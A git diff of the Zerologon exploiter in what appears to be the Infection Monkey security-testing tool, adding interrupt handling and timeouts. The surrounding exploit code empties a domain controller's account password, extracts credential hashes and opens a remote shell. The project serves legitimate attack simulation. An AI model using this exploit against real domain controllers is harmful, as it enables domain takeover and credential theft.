diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 88722ecec..8fe9cb52b 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -15,6 +15,7 @@ import impacket from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5.dtypes import NULL +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.credential_collectors import LMHash, NTHash, Username from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.wmi_tools import WmiTools @@ -26,6 +27,7 @@ from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet.credential_collection import Credentials from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.utils.capture_output import StdoutCapture +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -51,9 +53,12 @@ class ZerologonExploiter(HostExploiter): can_exploit, rpc_con = is_exploitable(self) if can_exploit: - self.exploit_result.exploitation_success = True logger.info("Target vulnerable, changing account password to empty string.") + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + # Start exploiting attempts. logger.debug("Attempting exploit.") _exploited = self._send_exploit_rpc_login_requests(rpc_con) @@ -73,11 +78,12 @@ class ZerologonExploiter(HostExploiter): self.exploit_result.exploitation_success = _exploited if self.restore_password(): self.exploit_info["password_restored"] = True - self.store_extracted_creds_for_exploitation() logger.info("System exploited and password restored successfully.") else: self.exploit_info["password_restored"] = False logger.info("System exploited but couldn't restore password!") + + self.store_extracted_creds_for_exploitation() else: logger.info("System was not exploited.") @@ -87,12 +93,13 @@ class ZerologonExploiter(HostExploiter): def connect_to_dc(dc_ip) -> object: binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.set_connect_timeout(LONG_REQUEST_TIMEOUT) rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: - for _ in range(0, self.MAX_ATTEMPTS): + for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt): exploit_attempt_result = self.try_exploit_attempt(rpc_con) is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result) @@ -164,6 +171,7 @@ class ZerologonExploiter(HostExploiter): # Use above extracted credentials to get original DC password's hashes. logger.debug("Getting original DC password's NT hash.") original_pwd_nthash = None + # TODO: start timer for user_details in user_creds: username = user_details[0] user_pwd_hashes = [ @@ -366,7 +374,7 @@ class ZerologonExploiter(HostExploiter): logger.info(f"Exception occurred while removing file {path} from system: {str(e)}") def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: - for _ in range(0, self.MAX_ATTEMPTS): + for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt): restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 4d3de85bc..4b36ed64b 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -70,10 +70,7 @@ class RemoteShell(cmd.Cmd): self.__noOutput = False self.__secrets_dir = secrets_dir - # We don't wanna deal with timeouts from now on. - # TODO are we sure we don't need timeout anymore? if self.__transferClient is not None: - self.__transferClient.setTimeout(100000) self.do_cd("\\") else: self.__noOutput = True diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index 4d86fb412..5ba40f7c8 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -6,6 +6,7 @@ from impacket.dcerpc.v5 import nrpc, rpcrt from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from common.utils.exceptions import DomainControllerNameFetchError +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -43,7 +44,9 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v return False, None # Try authenticating. - for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS): + for _ in interruptible_iter( + range(0, zerologon_exploiter_object.MAX_ATTEMPTS), zerologon_exploiter_object.interrupt + ): try: rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con) if rpc_con_auth_result is not None: